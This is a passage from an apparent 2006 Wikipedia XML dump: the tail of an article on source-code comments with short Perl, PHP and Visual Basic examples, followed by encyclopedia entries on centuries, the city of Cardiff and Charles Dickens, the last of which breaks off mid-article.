    $unseen++ if $_ ne '' and not exists $REP{$_};
}
&lt;/pre&gt;
(from perlbug.PL in the standard perl distribution)

====PHP====

&lt;pre&gt;
/*
 * Scan forwards to find beginning of another run of changes.
 * Also keep track of the corresponding point in the other file.
 *
 * Throughout this code, $i and $j are adjusted together so that
 * the first $i elements of $changed and the first $j elements
 * of $other_changed both contain the same number of zeros
 * (unchanged lines).
 * Furthermore, $j is always kept so that $j == $other_len or
 * $other_changed[$j] == false.
 */
    while ($j &lt; $other_len &amp;&amp; $other_changed[$j])
        $j++;
&lt;/pre&gt;
(from [[Wikipedia:MediaWiki|MediaWiki]], the software which powers [[Wikipedia]], an on-line collaborative encyclopedia)

====Visual Basic====

 '
 ' Cut off HKEY_USERS\ if present.
 ' This makes interoperating with regedit easier.
 '
 If Len(SIDstring) &gt; 11 Then
     If Left(SIDstring, 11) = &quot;HKEY_USERS\&quot; Then
         SIDstring = Mid(SIDstring, 12)
     End If
 End If
 
 '
 ' Open the WMI Service and retrieve the SID
 '
 On Error Resume Next
 Set SIDobject = GetObject( _
     &quot;winmgmts:{impersonationLevel=Impersonate}&quot; _
     ).Get(&quot;Win32_SID.SID='&quot; &amp; SIDstring &amp; &quot;'&quot;)
 If Err Then
     MsgBox &quot;Could not retrieve the SID.&quot;, vbOkOnly, &quot;Sorry&quot;
     Exit Do
 End If

(Adapted from an example illustrating ways to create system administration tools.)

==External links==

* [http://dkrukovsky.blogspot.com/2005/07/how-to-write-comments.html How to Write Comments]

[[Category:Source code]]

[[da:Kommentar]]
[[de:Kommentar (Programmierung)]]
[[fr:Commentaire (informatique)]]
[[ja:&amp;#12467;&amp;#12513;&amp;#12531;&amp;#12488; (&amp;#12467;&amp;#12531;&amp;#12500;&amp;#12517;&amp;#12540;&amp;#12479;)]]
[[pl:Komentarz (informatyka)]]
[[ru:&amp;#1050;&amp;#1086;&amp;#1084;&amp;#1084;&amp;#1077;&amp;#1085;&amp;#1090;&amp;#1072;&amp;#1088;&amp;#1080;&amp;#1080; (&amp;#1087;&amp;#1088;&amp;#1086;&amp;#1075;&amp;#1088;&amp;#1072;&amp;#1084;&amp;#1084;&amp;#1080;&amp;#1088;&amp;#1086;&amp;#1074;&amp;#1072;&amp;#1085;&amp;#1080;&amp;#1077;)]]</text>
    </revision>
  </page>
  <page>
    <title>Century</title>
    <id>5881</id>
    <revision>
      <id>40283131</id>
      <timestamp>2006-02-19T14:20:40Z</timestamp>
      <contributor>
        <username>Pasky</username>
        <id>215748</id>
      </contributor>
      <minor />
      <comment>iw: cs</comment>
      <text xml:space="preserve">{{cleanup-date|June 2005}}

''This page is about centuries as units of time. For other meanings of the term, see [[Century (disambiguation)]]. For a list of centuries, see [[Centuries]].''

A '''century''' (From the [[Latin]] ''cent'', one hundred) is [[one hundred]] consecutive [[year]]s.

*In all dating systems, centuries are essentially numbered ordinally, as time is a purely relative notion (its physical existence, though indispensable for our understanding of reality, still remains unproven in theory). Thus, the first century of a time frame is &quot;The First Century&quot; and not &quot;Century 0&quot;.

*There is considerable disagreement about whether to count the centennial year (i.e. 2000) as the first or last year of a century.  This confusion is documented for every centennial year from 1500 onward, and almost certainly arises from the introduction of [[Hindu-Arabic numeral system|Hindu-Arabic numerals]] and the concept of [[zero]] to Western Europe in the twelfth century.

The oldest dating systems were ''regnal'', and considered the date as an ordinal, not a cardinal number.  Thus, one speaks of the first year of the reign of King John for example.  Obviously, the century problem does not arise in such systems.  Somewhat later, systems arose dating from the founding of a dynasty, city or religion, and these continued ordinal, rather than cardinal, counting.  Thus [[Ab Urbe Condita]] counts the Year 1 as the founding of Rome; [[Anno Domini]] as the first full year of Jesus Christ's life; the [[Islamic Calendar]] as the year of the [[Hejira]], so it is also latinized as Anno Hejira.

More modern systems of dating, (such as the astronomical calendar, see [[proleptic Gregorian calendar]]) begin with a year zero.  In these cardinal dating systems, it is perfectly logical to use 0 to 99 as the first century, and to regard 2000 as the first year of the twenty-first century.

==See also==
* [[decade]] (ten years)
* [[eon]] (undetermined)
* [[era]] (undetermined)
* [[indictio]] (fifteen years in Roman fiscality)
* [[lustrum]] (five years)
* [[Millennium]] (ten centuries)

[[Category:Units of time]]
[[Category:Ancient military unit types]]

[[ar:قرن (زمن)]]
[[ast:Sieglu]]
[[be:Стагодзьдзі]]
[[bg:Век]]
[[ca:Segle]]
[[cs:Století]]
[[da:Århundreder]]
[[de:Jahrhundert]]
[[eo:Jarcentoj]]
[[es:Siglo]]
[[et:Sajandid]]
[[fa:قرن]]
[[fi:Vuosisadat]]
[[fr:Siècle]]
[[fy:Ieu]]
[[gl:Século]]
[[he:לוח אירועים בהיסטוריה]]
[[hr:Popis godina]]
[[hu:Évszázad]]
[[id:Abad]]
[[ja:世紀]]
[[la:Saeculum]]
[[li:Verwiestableau vaan ieuwe]]
[[lt:Amžius]]
[[nl:Eeuwen]]
[[no:Sekel]]
[[pl:Wiek]]
[[pt:Século]]
[[ro:Secole]]
[[ru:Хронологическая таблица]]
[[simple:Century]]
[[sk:Storočie]]
[[sl:Stoletja]]
[[sr:Век]]
[[sv:Sekel]]
[[th:ศตวรรษ]]
[[tr:Yüzyıl]]
[[uk:Історична вісь]]
[[ur:ٹائم لائن]]
[[zh:世纪]]
[[zh-min-nan:Sè-kí]]</text>
    </revision>
  </page>
  <page>
    <title>Cardiff</title>
    <id>5882</id>
    <revision>
      <id>41162759</id>
      <timestamp>2006-02-25T13:06:08Z</timestamp>
      <contributor>
        <username>JamieBattenbo</username>
        <id>282807</id>
      </contributor>
      <comment>population density 1st</comment>
      <text xml:space="preserve">:''See [[Cardiff (disambiguation)]] for other terms meaning Cardiff''
{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; clear: right; margin: 0 0 1em 1em;&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;260&quot;
|+ &lt;big&gt;'''City of Cardiff'''&lt;/big&gt;
|-
| colspan=&quot;2&quot; style=&quot;text-align: center; background: white;&quot;|[[Image:WalesCardiff.png]]
|-
| colspan=&quot;2&quot; style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Geography
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br&gt;- % Water
| [[List of Welsh principal areas by area|Ranked 19th]]&lt;br /&gt;[[1 E8 m²|140]] [[square kilometre|km&amp;sup2;]]&lt;br /&gt;? %
|-
! Admin HQ
| Cardiff
|-
! [[ISO 3166-2:GB|ISO 3166-2]]
| GB-CRF
|-
! [[ONS coding system|ONS code]]
| 00PT
|-
! [[traditional counties of Wales|Traditional county]]
| [[Glamorgan]]
|-
! [[Preserved counties of Wales|Ceremonial county]]
| Cardiff
|-
! '''Coordinates'''
|51°29N 3°11W 
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]''':&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]
|[[List of Welsh principal areas by population|Ranked 1st]]&lt;br /&gt;316,800&lt;br /&gt;[[List of Welsh principal areas by population density|Ranked 1st]]&lt;br /&gt;2,263 / km&amp;sup2;
|-
! Ethnicity
| 91.57% White&lt;br /&gt; 1.99% Mixed&lt;br /&gt; 3.96% S. Asian&lt;br /&gt; 1.28% Black&lt;br /&gt; 1.20% Chinese or other.
|-
! style=&quot;font-weight: normal;&quot; | '''[[Welsh language]]'''&lt;br /&gt;- Any skills
| [[List of Welsh principal areas by percentage Welsh language|Ranked 18th]]&lt;br /&gt;16.3%
|-
| colspan=&quot;2&quot; style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Politics
|-
|colspan=&quot;2&quot; align=center|[[Image:Cardiffarms.PNG|centre|150px]]&lt;br /&gt;Cardiff County Council&lt;br&gt;http://www.cardiff.gov.uk/
|-
! Control
| (No overall control)
|-
! [[MPs elected in the UK general election, 2005|MPs]]
|
*[[Kevin Brennan (politician)|Kevin Brennan]]
*[[Alun Michael]]
*[[Julie Morgan]]
*[[Jenny Willott]]
|-
| colspan=&quot;2&quot; style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Districts
|-
| colspan=&quot;2&quot; |
[[Adamstown]],
[[Birchgrove, Cardiff|Birchgrove]],
[[Butetown]],
[[Canton, Cardiff|Canton]],
[[Cardiff Bay]],
[[Cardiff city centre|City centre]],
[[Cathays]],
[[Cyncoed]],
[[Gabalfa]],
[[Heath, Cardiff|Heath]],
[[Llandaff]],
[[Llanedeyrn]],
[[Llanishen]],
[[Llanrumney]],
[[Maindy]],
[[Mynachdy]],
[[Pentrebane]],
[[Pentwyn]],
[[Penylan]],
[[Pontcanna]],
[[Radyr]],
[[Riverside, Cardiff|Riverside]],
[[Roath]],
[[Splott]],
[[St Mellons]],
[[Tremorfa]],
[[Trowbridge, Cardiff, Wales|Trowbridge]]
|}

[[Image:Cardiff_Castle_keep.jpg|thumb|225px|The Norman Keep, [[Cardiff Castle]].]]
[[Image:Millenium_stadium4.jpg|thumb|225px|Aerial view of the [[Millennium Stadium]].]]
[[Image:Wales_Millennium_Centre_16-08-2005.jpg|thumb|225px|The [[Wales Millennium Centre]].]] [[Image:DSCN0855.JPG|thumb|225px|Opening of Millennium Centre]]
[[Image:Cardiff Market.JPG|thumb|225px|The [[Cardiff Indoor Market]].]]

'''Cardiff''' ([[Welsh language|Welsh]]: ''Caerdydd'') is the [[capital]] and largest [[City status in the United Kingdom|city]] of [[Wales]]. Located on the [[South Wales]] coast it is administered as a [[unitary authority]].  It was a small town until the early nineteenth century and came to prominence following the arrival of industry in the region and the use of Cardiff as a major port for the transport of coal.  Cardiff was made a [[City status in the United Kingdom|city]] in [[1905]] and proclaimed capital of Wales in [[1955]]. In the [[Census 2001]] the [[population]] of Cardiff was 305,340, making it the 16th largest settlement in the [[United Kingdom]].

==Industry== 

The industrial development and growth of Cardiff was initially centred on the transportation of [[coal]], where coal mined from the [[Rhondda]] Valley was sent to the port by barge along the valley of the [[River Taff]], initially by canal and later by the Taff Vale Railway. A logical extension of the coal business was the development of an iron and steel industry, based largely on the port and the coal of the [[South Wales Valleys|South Wales valleys]]. The 1980s brought closures to the industry in the entire region, and thousands of local workers were made redundant as the steel industry moved out of Cardiff, including the largest GKN steelworks in Newport Road.

Cardiff's [[port]], known as [[Tiger Bay]], was once one of the busiest ports in the world and - for some time - the world's most important [[coal]] port. Indeed, Cardiff's [[The Coal Exchange|Coal Exchange]] was reputedly the first host to a business deal for a million [[Pound Sterling|pounds Sterling]].

The Tiger Bay area also housed one of the UK's earliest [[immigrant]] communities.  After a long period of neglect as ''[[Cardiff Bay]]'', it is now being [[urban regeneration|regenerated]] as a popular area for arts, entertainment and nightlife. Much of the growth has been thanks to the building of the [[Cardiff Barrage]].

The city's central region, extending from the Hayes (a name allegedly derived from ''hedge'') is now full of attractive modern buildings. This area of Cardiff will also shortly be redeveloped, as part of '''[http://www.stdavids2.com St Davids Centre - Phase 2]''' project. Highlights of this project will include a new Central Library and a [[John Lewis Partnership|John Lewis]] store.  The affected area is bounded by The Hayes, Mill Lane, Mary Ann St and Bute Terrace.

The city is also host to [[S A Brain]], a [[brewery]] with premises in Cardiff since [[1882]].

==History==
The name Cardiff is an Anglicisation of [[Welsh language|Welsh]] name &quot;Caerdydd&quot;. There is uncertainty concerning the origin of &quot;Caerdydd&quot;&amp;mdash;&quot;Caer&quot; means &quot;fort&quot; or &quot;castle,&quot; but although &quot;Dydd&quot; means &quot;Day&quot; in modern Welsh, it is unclear what was meant in this context.  Some believe that &quot;Dydd&quot; or &quot;Diff&quot; was a corruption of &quot;[[River Taff|Taff]]&quot;, the river on which [[Cardiff Castle|Cardiff castle]] stands, in which case &quot;Cardiff&quot; would mean &quot;the fort on the river Taff&quot; (in [[Welsh language|Welsh]] the ''T'' mutates to ''D'').

Others favour a link with [[Aulus Didius Gallus]], as it is known that the [[Roman Empire|Romans]] established a fort in Cardiff when he was governor of the nearby province, in which case Cardiff might mean &quot;the Fort of Didius&quot;. A Norman [[Cardiff Castle|castle]] still exists, within the site of the earlier [[Rome|Roman]] fort, but was substantially altered and extended during the Victorian period by [[John Crichton-Stuart, 3rd Marquess of Bute|John Crichton-Stuart]], the [[Marquess of Bute|3rd Marquess of Bute]], and the [[architect]] [[William Burges]]. Original Roman work can, however, still be distinguished in the wall facings.

There is a second castle north of the city, called '''[[Castell Coch]]''' (Welsh: &quot;the Red Castle&quot;). The current castle is an elaborately decorated Victorian folly designed by Burges for the Marquess and built in the [[1870s]]. However, the Victorian castle stands on the footings of a much older medieval castle possibly built by [[Ifor Bach|Ivor Bach]], a regional baron with links to Cardiff Castle also. The exterior has become a popular location for film and television productions.

[[Edward VII of the United Kingdom|King Edward VII]] granted Cardiff [[City status in the United Kingdom|city status]] on [[October 28]], [[1905]]. It was then proclaimed capital city of Wales on [[December 20]], [[1955]]. Therefore, Cardiff celebrated two important [[anniversary|anniversaries]] in [[2005]].

The city is [[county town]] of [[Glamorgan]], although this role has diminished since council reorganisation in [[1974]] paired Cardiff and the [[Vale of Glamorgan]] together as the new county of [[South Glamorgan]]. Further local government restructuring in [[1996]] resulted in Cardiff City's [[Districts of Wales|district]] council becoming a [[unitary authority]].

On [[March 1]], [[2004]], Cardiff was granted [[Fairtrade Town|Fairtrade City]] status.

==Culture, media, sport and tourism==
:''See also [[List of cultural venues in Cardiff]]''

The city has a professional [[soccer|football]] team, [[Cardiff City F.C.]], nicknamed &quot;The Bluebirds&quot;. There is also the world-famous [[Cardiff RFC]] or [[Cardiff Blues]] [[rugby union]] team, and the Cardiff Devils [[Ice Hockey]] team. The city also features an international sporting venue, the [[Millennium Stadium]].  Cardiff hosted the [[1958 British Empire and Commonwealth Games]].

Cardiff is home to [[Cardiff Castle]], the [[National Assembly for Wales]],  [http://www.stdavidshallcardiff.co.uk/English/ St. David's Hall], the [[National Museum &amp; Gallery, Cardiff|National Museum and Gallery]], and [[Cathays|Cathays Park]] (including municipal buildings modelled on those in [[New Delhi]]), and the [http://www.cardiffmetropolitancathedralchoir.macwebsitebuilder.com/cathedralbuilding.html Cardiff Metropolitan Cathedral].  The [[Welsh National Opera]] moved into the [[Wales Millennium Centre]] in November 2004.

Cardiff's centre is a particularly green one with Bute Park, formally the castle grounds, extending northwards from the top of the Cardiff's main shopping street (Queen Street); when combined with the adjacent Llandaff Fields to the northwest it produces a massive open space skirting the river [[Taff]]. Unfortunately Cardiff's central green spaces are now under threat of development. Other popular parks include Roath Park in the north, donated to the city by the [[John Crichton-Stuart, 3rd Marquess of Bute|3rd Marquess of Bute]] in [[1887]] and which includes a very popular boating lake; [[Victoria Park]], Cardiff's first official park; and Thompson's Park, formerly home to an [[aviary]] removed in the 1970s.

The city has its own university, [[Cardiff University]], as well as two [[University of Wales]] colleges, the [[University of Wales Institute, Cardiff]] and the [http://www.rwcmd.ac.uk/index.asp Royal Welsh College of Music and Drama]. Cardiff has also been repeatedly mentioned in the BBC TV show [[Doctor Who]], where it was often filmed. The mentions are a bit tongue-in-cheek, of the &quot;Where are we? It's not Cardiff again is it?&quot; variety.

Cardiff hosted the [[National Eisteddfod]] in [[1883]], [[1899]], [[1938]], [[1960]] and [[1978]].

[http://www.cardiffphilatelicsociety.org.uk| Cardiff Philatelic Society] is the oldest [[Philatelic Society]] in Wales. It was formed in 1899.

The [[South Wales hardcore scene]], one of the UK's largest such [[music]] [[scenes]], is largely centred in Cardiff.

==Twinning==
Cardiff has [[town twinning|twinning]] arrangements with:
* [[Luhans'k region|Luhans'k]], [[Ukraine]]
* [[Hordaland]], [[Norway]]
* [[Nantes]], [[France]]
* [[Stuttgart]], [[Germany]]
* [[Xiamen]], [[China]]
It was previously, but is no longer, twinned with [[Baltimore County, Maryland|Baltimore County]], [[United States|USA]]

==Politics==
Since gaining autonomy at the county level in [[1996]], Cardiff has been governed by Cardiff County Council.  From then until [[2004]] the [[The Labour Party (UK)|Labour]] had a large working majority. In 1995, the balance was 61 [[The Labour Party (UK)|Labour]] , 9 [[Liberal Democrats (UK)|Liberal Democrats]] , 1 [[Conservative Party (UK)|Conservative]] and 1 [[Plaid Cymru]]. In 1999 the balance was 50 [[The Labour Party (UK)|Labour]] , 18 [[Liberal Democrats (UK)|Liberal Democrats]] , 5 [[Conservative Party (UK)|Conservative]]s, 1 [[Plaid Cymru]] and 1 Independent.

Following the [[2004]] local elections, no individual political party has a majority on Cardiff County Council. The [[Liberal Democrats (UK)|Liberal Democrats]] have 32 councillors (33 were elected, but one councillor crossed the floor to Plaid Cymru) and have formed a minority administration, [[The Labour Party (UK)|Labour]] have 27, the [[Conservative Party (UK)|Conservative]]s have 12 and [[Plaid Cymru]] have 4.  The Leader of the Council, Cllr [[Rodney Berman]], is from the [[Liberal Democrats (UK)|Liberal Democrats]].

==Transport links==
*'''by cycle''': links to the north using the [[National Cycle Network]] and [[Taff Trail]]
*'''by rail''': has several rail links: [[South Wales Main Line]] and regional [[Valley Lines]]
*'''by bus and coach''': on the [[National Express]] network, as well as served by regional buses
*'''by road''': linked to the east and west by the M4 motorway, to the north by the A470.
*'''by air''': [[Cardiff International Airport]] is located 10miles to the south west of the city
*'''by waterbus''':  [http://www.cardiffcats.com/] across [[Cardiff Bay]] from Mermaid Quay to Custom House at [[Penarth]] adjacent to [[Cardiff Barrage]]

==Natives of Cardiff==
*[[Danny Abse]]
*[[Leo Abse]]
*[[Wilfred Abse]]
*[[Michael Aspel]]
*[[Jeremy Bowen]]
*[[Jason Barron]]
*[[Shirley Bassey]]
*[[Charlotte Church]]
*[[Gillian Clarke]]
*[[Roald Dahl]]
*[[Dave Edmunds]]
*[[Ryan Giggs]]
*[[Ioan Gruffudd]]
*[[Anna Hagan]]
*[[Lauren Harries]]
*[[John Humphrys]]
*[[Bobi Jones]]
*[[Griff Rhys Jones]]
*[[Rhodri Morgan]]
*[[Terry Nation]]
*[[Ivor Novello]]
*[[Clive Sullivan]]
*[[Shakin' Stevens]]
*[[Toy Mic Trevor]]
*[[John Toshack]]

==See also==
{{Commons|Cardiff}}
*[[List of cultural venues in Cardiff]]
*[[List of Parliamentary constituencies in South Glamorgan]]
*[[List of places in Cardiff]]
*[[Cardiff city centre]]
*[[Cardiff Bay]]

==External links==
*[http://www.cardiff.gov.uk/ Cardiff Council site]
*[http://www.cardiffonline.net/ Cardiff Online]
*[http://www.astrobiology.cf.ac.uk/ Cardiff Centre for Astrobiology (CCAB) ]
*[http://www.regiochannel.co.uk/cardiff/index.html Directory for Cardiff and surroundings]
*[http://www.bbc.co.uk/wales/southeast/sites/cardiff/ Cardiff, BBC]

{{Wales subdivisions}}
{{Welsh Cities}}

[[Category:Cardiff| ]]
[[Category:Glamorgan]]
[[Category:Cities in Wales]]
[[Category:Coastal cities]]
[[Category:Principal areas of Wales]]
[[Category:Ports and harbours of Wales]]
[[Category:Welsh county towns]]
[[Category:Capitals in Europe]]

[[ca:Cardiff]]
[[cy:Caerdydd]]
[[da:Cardiff]]
[[de:Cardiff]]
[[et:Cardiff]]
[[es:Cardiff]]
[[eo:Cardiff/Caerdydd]]
[[eu:Cardiff|Caerdydd]]
[[fr:Cardiff]]
[[he:קארדיף]]
[[ga:Caerdydd]]
[[id:Cardiff]]
[[kw:Kardydh]]
[[nl:Cardiff]]
[[nds:Cardiff]]
[[ja:カーディフ]]
[[no:Cardiff]]
[[pl:Cardiff]]
[[ru:Кардифф]]
[[simple:Cardiff]]
[[fi:Cardiff]]
[[sv:Cardiff]]
[[gd:Caerdydd]]
[[it:Cardiff]]
[[oc:Cardiff]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Dickens</title>
    <id>5884</id>
    <revision>
      <id>42056414</id>
      <timestamp>2006-03-03T14:29:03Z</timestamp>
      <contributor>
        <ip>168.216.193.13</ip>
      </contributor>
      <text xml:space="preserve">[[image:CDickens.jpg|right|200px|framed|'''Charles Dickens''' was a prolific writer who was almost always working on a new installment for a story and rarely missed a deadline.]]
{{redirect|Dickens}}

'''Charles John Huffam Dickens''' ([[February 7]] [[1812]] &amp;ndash; [[June 9]] [[1870]]), [[pen-name]] &quot;[[Boz]]&quot;, was an [[England|English]] [[novelist]]. During his lifetime, Dickens was not viewed as the literary monolith we know him as today, but rather as a popular entertainer of fecund imagination and comic genius. Later critics, beginning with [[George Gissing]] and [[G.K. Chesterton]], championed his mastery of prose, his endless invention of memorable characters and his powerful social sensibilities, despite continued criticism from his more rarefied readers, like [[George Henry Lewes]], [[Henry James]], and [[Virginia Woolf]]. The popularity of his novels and short stories during his lifetime and to the present is demonstrated by the fact that none have ever gone [[Out-of-print book|out of print]]. Dickens played a major role in popularising the [[Serial|serialised novel]]. He is remembered by many as the greatest writer of his time. He is frequently referred to by his last name only, even on first reference (''à la'' [[William Shakespeare|Shakespeare]]).

==Life==
Dickens was born in [[Portsmouth]], [[Hampshire]] to [[John Dickens]], a naval pay clerk, and his wife Elizabeth Dickens. When he was five, the family moved to [[Chatham, Kent]]. When he was ten, the family relocated to [[Camden Town, London, England|Camden Town]] in London. His early years were an idyllic time. He thought himself then as a &quot;very small and not-over-particularly-taken-care-of boy&quot;. He spent his time outdoors, reading voraciously with a particular fondness for the [[Picaresque novel|picaresque]] novels of [[Tobias Smollett]] and [[Henry Fielding]]. He talked later in life of his extremely strong memories of childhood and his continuing [[photographic memory]] of people and events that helped bring his fiction to life. His family was moderately well-off, and he received some education at a private school but all that changed when his father, after spending too much money entertaining and retaining his social position, was imprisoned for debt. At the age of twelve, Dickens was deemed old enough to work and began working for ten hours a day in Warren's boot-blacking factory, located near the present [[Charing Cross railway station]]. He spent his time pasting labels on the jars of thick [[Shoe polish|polish]] and earned six [[shilling]]s a week. With this money, he had to pay for his lodging and help to support his family, which was incarcerated in the nearby [[Marshalsea]] [[Debtor's prison|debtors' prison]].

After a few years, his family's financial situation improved, partly due to money inherited from his father's family. His family was able to leave the Marshalsea, but his mother did not immediately remove him from the boot-blacking factory, which was owned by a relation of hers. Dickens never forgave his mother for this and resentment of his situation and the conditions under which working-class people lived became major themes of his works. Dickens told his biographer [[John Forster]], &quot;No advice, no counsel, no encouragement, no consolation, no support from anyone that I can call to mind, so help me God!&quot; In May 1827, Dickens began work as a [[law clerk]], a junior office position with potential to become a lawyer. He did not like the law as a profession and after a short time as a court [[stenographer]] he became a journalist, reporting parliamentary debate and travelling [[United Kingdom|Britain]] by stagecoach to cover election campaigns. His journalism formed his first collection of pieces ''[[Sketches by Boz]]'' and he continued to contribute to and edit journals for much of his life. In his early twenties he made a name for himself with his first novel, ''[[The Pickwick Papers]]''.

On [[2 April]] [[1836]], he married Catherine Hogarth, with whom he was to have ten children, and set up home in [[Charles Dickens Museum, London|Bloomsbury]]. 

:His ten children by Catherine Thompson Hogarth were:

*[[Charles Culliford Boz Dickens]] ([[6 January]] [[1837]]&amp;ndash;1896).
*Mary Angela Dickens ([[6 March]] [[1838]]&amp;ndash;1896).
*Kate Macready Dickens ([[29 October]] [[1839]]&amp;ndash;1929).
*Walter Landor Dickens ([[8 February]] [[1841]]&amp;ndash;1861).
*Francis Jeffrey Dickens ([[15 January]] [[1844]]&amp;ndash;1886).
*Alfred D'Orsay Tennyson Dickens ([[28 October]][[1845]]&amp;ndash;1912).
*Sydney Smith Haldimand Dickens ([[18 April]][[1847]]&amp;ndash;1872).
*Henry Fielding Dickens ([[15 January]] [[1849]]&amp;ndash;1933).
*Dora Annie Dickens ([[16 August]] [[1850]]&amp;ndash;April 1851).
*Edward Bulwer Lytton Dickens ([[13 March]][[1852]]&amp;ndash; 1902).

In the same year, he accepted the job of editor of ''[[Bentley's Miscellany]]'', a position he would hold until 1839 when he fell out with the owner. Two other journals in which Dickens would be a major contributor were ''[[Household Words]]'' and ''[[All the Year Round]]''. In 1842, he travelled together with his wife to the [[United States]]; the trip is described in the short [[travelogue]] ''[[American Notes]]'' and is also the basis of some of the episodes in ''[[Martin Chuzzlewit]]''. Dickens' writings were extremely popular in their day and were read extensively. In 1856, his popularity allowed him to buy Gad's Hill Place. This large house in [[Higham, Kent]] was very special to the author as he had walked past it as a child and had dreamed of living in it. The area was also the scene of some of the events of [[William Shakespeare|Shakespeare's]] ''[[Henry IV, part 1]]'' and this literary connection pleased Dickens.

Dickens separated from his wife in 1858. In Victorian times, divorce was almost unthinkable, particularly for someone as famous as he was. He continued to maintain her in a house for the next twenty years until she died. Although they were initially happy together, Catherine did not seem to share quite the same boundless energy for life which Dickens had. Her job of looking after their ten children and the pressure of living with and keeping house for a world-famous novelist certainly did not help. Catherine's sister Georgina moved in to help her, but there were rumours that Charles was romantically linked to his sister-in-law. An indication of his marital dissatisfaction was when, in 1855, he went to meet his first love, Maria Beadnell. Maria was by this time married as well, but she seemed to have fallen short of Dickens' romantic memory of her.

On the [[9th June]] [[1865]], while returning from France to see [[Ellen Ternan]], Dickens was involved in the [[Staplehurst rail crash]] in which the first six carriages of the train plunged off of a bridge that was being repaired. The only first-class carriage to remain on the track was the one in which Dickens was berthed. Dickens spent some time tending the wounded and the dying before rescuers arrived. Before finally leaving, he remembered the unfinished manuscript for ''[[Our Mutual Friend]]'', and he returned to his carriage to retrieve it.

Dickens managed to avoid an appearance at the inquiry into the crash, as it would have become known that he was travelling that day with Ellen Ternan and her mother, which could have caused a scandal. Ellen, an actress, had been Dickens' companion since the break-up of his marriage, and, as he had met her in 1857, she was most likely the ultimate reason for that break-up.  She continued to be his companion, and likely mistress, until his death.

Although unharmed, he never really recovered from the crash, which is most evident in the fact that his normally prolific writing shrank to completing ''[[Our Mutual Friend]]'' and starting the unfinished ''[[The Mystery of Edwin Drood]]''. Much of his time was taken up with public readings from his best-loved novels. Dickens was fascinated by the theatre as an escape from the world, and theatres and theatrical people appear in ''[[Nicholas Nickleby]]''. The travelling shows were extremely popular, and on [[December 2]] [[1867]], Dickens gave his first public reading in the [[United States]] at a [[New York City]] theatre. The effort and passion he put into these readings with individual character voices is also thought to have contributed to his death.

Five years to the day after the Staplehurst crash, on [[9 June]] [[1870]], he died after suffering a stroke. Contrary to his wish to be buried in Rochester Cathedral, he was buried in the [[Poets' Corner|Poets&amp;rsquo; Corner]] of [[Westminster Abbey]]. The inscription on his tomb reads: &quot;He was a sympathiser to the poor, the suffering, and the oppressed; and by his death, one of England's greatest writers is lost to the world.&quot;

==Literary style ==
[[image:Charles_Dickens.jpg|left|250px|framed|Charles Dickens used his rich imagination, sense of humour and detailed memories, particularly of his childhood, to enliven his fiction.]]
Dickens' writing style is florid and poetic, with a strong comic touch. His satires of British aristocratic snobbery &amp;mdash; he calls one character the &quot;Noble Refrigerator&quot; &amp;mdash; are wickedly funny. Comparing orphans to stocks and shares, people to tug boats, or dinner party guests to furniture are just some of Dickens' flights of fancy which can sum up situations better than any simple description.

The characters are among the most memorable in English literature &amp;mdash; certainly their names are. The likes of [[Ebenezer Scrooge]], [[Fagin]], Mrs Gamp, [[Wilkins Micawber|Micawber]], Pecksniff, [[Miss Havisham]], Wackford Squeers and many others are so well known and can be believed to be living a life outside the novels that their stories have been continued by other authors. Dickens loved the style of 18th Century [[gothic romance]], though it had already become a bit of a joke &amp;mdash; [[Jane Austen]]'s ''[[Northanger Abbey]]'' being a well known parody &amp;mdash; and while some are grotesques, their eccentricities do not usually overshadow the stories. One 'character' most vividly drawn throughout his novels is [[London]] itself. From the coaching inns on the outskirts of the city to the lower reaches of the [[Thames]], all aspects of the capital are described by someone who truly loved London and spent many hours walking its streets.

Most of Dickens' major novels were first written in monthly or weekly instalments in journals such as ''[[Master Humphrey's Clock]]'' and ''[[Household Words]]'', later reprinted in book form. These instalments made the stories cheap, accessible and the series of regular cliff-hangers made each new episode widely anticipated. American fans even waited at the docks in New York, shouting out to the crew of an incoming ship, &quot;Is Little Nell dead?&quot; Part of Dickens' great talent was to incorporate this episodic writing style but still end up with a coherent novel at the end. The monthly numbers were illustrated by, amongst others, &quot;[[Phiz]]&quot; (a pseudonym for [[Hablot Browne]]). Among his best-known works are ''[[Great Expectations]]'', ''[[David Copperfield (novel)|David Copperfield]]'', ''[[The Pickwick Papers]]'', ''[[Oliver Twist]]'', ''[[Nicholas Nickleby]]'', ''[[A Tale of Two Cities]]'', and ''[[A Christmas Carol]]''.

Dickens' novels were, among other things, works of social commentary. He was a fierce critic of the poverty and social stratification of Victorian society. Throughout his works, Dickens retained an empathy for the common man and a scepticism for the fine folk.

Dickens's fiction is often viewed as overly sentimental, as with the extended death scenes of Little Nell in ''[[The Old Curiosity Shop]]'' (1841) and young Paul Dombey in ''Dombey and Son'' (1848). However, that criticism is a sweeping generalization. In his second novel, ''[[Oliver Twist]]'' (1839), Dickens does provide readers with an idealized portrait of a young boy so inherently &quot;good&quot; that his values are never subverted by either brutal orphanages or coerced involvement in a gang of young pickpockets. But that novel was also responsible for the clearing of the actual London slum that was the basis of the story's Jacob's Island. In addition, with the character of the tragic prostitute, [[Nancy 'Sikes'|Nancy]], Dickens &quot;humanized&quot; such women for the reading public--women who were regarded as &quot;unfortunates,&quot; inherently immoral casualties of the Victorian class/economic system. While later novels also centered on idealized characters (Esther Summerson in ''[[Bleak House]]'' and Amy Dorrit in ''[[Little Dorrit]]''), both novels elaborated expansive critiques of the Victorian institutional apparatus: the interminable lawsuits of the Court of Chancery that destroyed people's lives in ''Bleak House'' and a dual attack in ''Little Dorrit'' on inefficient, corrupt patent offices and unregulated market speculation. In actuality, each of his novels after ''Dombey and Son'' (1848) became increasingly less &quot;sentimental&quot; and more concerned with social realism, focusing on mechanisms of social control that direct people's lives (e.g., factory networks in ''[[Hard Times]]'' and hypocritical, exclusionary class codes in ''[[Our Mutual Friend]]''). In contrast to popular myth, these novels were quite popular and sold very well.

